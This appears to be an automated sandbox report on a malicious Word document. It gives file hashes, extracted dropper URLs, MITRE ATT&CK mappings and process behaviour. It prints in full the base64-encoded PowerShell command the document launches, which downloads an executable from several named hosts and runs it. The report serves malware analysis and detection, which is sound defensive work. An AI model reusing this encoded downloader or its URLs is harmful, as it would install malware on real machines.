02c2a936ae23ab9a194ffb55289baec4f4eb8e27ccaa39669d4854171bc5bd99

General

Target

GZ0971614065ED.doc
Size

232KB
MD5

f1b4b43b3a229c93f85019fc9eb247ce
SHA1

eefc29e49776523484b779c67b5260b070bcf5fd
SHA256

02c2a936ae23ab9a194ffb55289baec4f4eb8e27ccaa39669d4854171bc5bd99
SHA512

4d100c1901a91716c2f93aef882a7f4336f59e616d82a43e566b5e73ef82df8702cbb9314d716b8e98a70504be9cfe894604f8ae6b3185b84485eb8f6827ef03
SSDEEP

3072:Yj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGk/oMt/qLwKLR8l5:YHgtEWPsL/aTyT9Gk/5tSLwKLRa

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://agenciann.com/wp-admin/w_8_8sfn6v/

exe.dropper

https://swingalgo.com/wp-content/5_rftsk_1vraz/

exe.dropper

http://lifepartner.hk/wp-includes/b22fd_k_x2h9n0/

exe.dropper

http://lt-pet.com/wp-admin/sb_vv_jud/

exe.dropper

https://2.c8xtt.com/config.wool/q07p_6p9i_xa/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5116	4940	powersheLL.exe	36

Blocklisted process makes network request 2 IoCs

flow	pid	Process
71	5116	powersheLL.exe
74	5116	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4896	WINWORD.EXE
4896	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5116	powersheLL.exe
5116	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	powersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4896	WINWORD.EXE
4896	WINWORD.EXE
4896	WINWORD.EXE
4896	WINWORD.EXE
4896	WINWORD.EXE
4896	WINWORD.EXE
4896	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\GZ0971614065ED.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAE4AQgBEAFAAdgBxAGsAPQAnAE8ATwBBAEoARwBpAHoAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAGAAVQBgAFIASQB0AHkAUABgAFIAbwB0AE8AQwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAFcAQwBJAE4AdgBvAGEAIAA9ACAAJwBVAHEAaABnACcAOwAkAE4ASABJAEsASABqAHMAdQA9ACcARABWAEMAUwBLAHMAZAB3ACcAOwAkAEcATQBMAEEAQQBzAHEAdwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFkAVwBDAEkATgB2AG8AYQArACcALgBlAHgAZQAnADsAJABLAFEASQBDAEkAcABvAHEAPQAnAEoAQQBCAFkAVAB3AG8AYQAnADsAJABHAFcAUQBOAEgAcwB0AGcAPQAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAGIAYwBsAGkARQBuAFQAOwAkAEkASABTAEQARQB5AGoAZAA9ACcAaAB0AHQAcABzADoALwAvAGEAZwBlAG4AYwBpAGEAbgBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AF8AOABfADgAcwBmAG4ANgB2AC8AKgBoAHQAdABwAHMAOgAvAC8AcwB3AGkAbgBnAGEAbABnAG8ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA1AF8AcgBmAHQAcwBrAF8AMQB2AHIAYQB6AC8AKgBoAHQAdABwADoALwAvAGwAaQBmAGUAcABhAHIAdABuAGUAcgAuAGgAawAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGIAMgAyAGYAZABfAGsAXwB4ADIAaAA5AG4AMAAvACoAaAB0AHQAcAA6AC8ALwBsAHQALQBwAGUAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwBiAF8AdgB2AF8AagB1AGQALwAqAGgAdAB0AHAAcwA6AC8ALwAyAC4AYwA4AHgAdAB0AC4AYwBvAG0ALwBjAG8AbgBmAGkAZwAuAHcAbwBvAGwALwBxADAANwBwAF8ANgBwADkAaQBfAHgAYQAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBGAE8ARwBSAHEAdQBrAD0AJwBHAE8AWQBHAEsAeAB6AHcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIASQBPAFMAVgBnAGgAeQAgAGkAbgAgACQASQBIAFMARABFAHkAagBkACkAewB0AHIAeQB7ACQARwBXAFEATgBIAHMAdABnAC4AIgBkAG8AYABXAGAATgBMAG8AYQBkAEYASQBsAGUAIgAoACQAQgBJAE8AUwBWAGcAaAB5ACwAIAAkAEcATQBMAEEAQQBzAHEAdwApADsAJABSAEsAWgBTAFYAcgBwAGoAPQAnAFMARgBCAEcARABrAHkAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEcATQBMAEEAQQBzAHEAdwApAC4AIgBMAGUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAAMwAzADYAOQAyACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEcATQBMAEEAQQBzAHEAdwApADsAJABEAFoAUgBIAFkAagBoAGIAPQAnAEMAUABEAFoAVwBnAHgAcAAnADsAYgByAGUAYQBrADsAJABDAEoAWABSAEgAdwBjAGYAPQAnAEEASwBPAEkAQwBmAHgAdAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAEQAQgBKAE4AcAB0AGgAPQAnAE8ARgBGAEEARwB1AGUAZgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsxuajox.gq0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4896-180-0x000002A537020000-0x000002A537220000-memory.dmp

Filesize
2.0MB

Download
memory/4896-135-0x00007FF92E0D0000-0x00007FF92E0E0000-memory.dmp

Filesize
64KB

Download
memory/4896-136-0x00007FF92E0D0000-0x00007FF92E0E0000-memory.dmp

Filesize
64KB

Download
memory/4896-137-0x00007FF92E0D0000-0x00007FF92E0E0000-memory.dmp

Filesize
64KB

Download
memory/4896-138-0x00007FF92BA40000-0x00007FF92BA50000-memory.dmp

Filesize
64KB

Download
memory/4896-140-0x00007FF92BA40000-0x00007FF92BA50000-memory.dmp

Filesize
64KB

Download
memory/4896-133-0x00007FF92E0D0000-0x00007FF92E0E0000-memory.dmp

Filesize
64KB

Download
memory/4896-134-0x00007FF92E0D0000-0x00007FF92E0E0000-memory.dmp

Filesize
64KB

Download
memory/4896-152-0x000002A537020000-0x000002A537220000-memory.dmp

Filesize
2.0MB

Download
memory/5116-202-0x000001F937BB0000-0x000001F937BD2000-memory.dmp

Filesize
136KB

Download
memory/5116-203-0x000001F937AA0000-0x000001F937AB0000-memory.dmp

Filesize
64KB

Download
memory/5116-204-0x000001F937AA0000-0x000001F937AB0000-memory.dmp

Filesize
64KB

Download
memory/5116-217-0x000001F937AA0000-0x000001F937AB0000-memory.dmp

Filesize
64KB

Download
memory/5116-218-0x000001F937AA0000-0x000001F937AB0000-memory.dmp

Filesize
64KB

Download
memory/5116-219-0x000001F937AA0000-0x000001F937AB0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads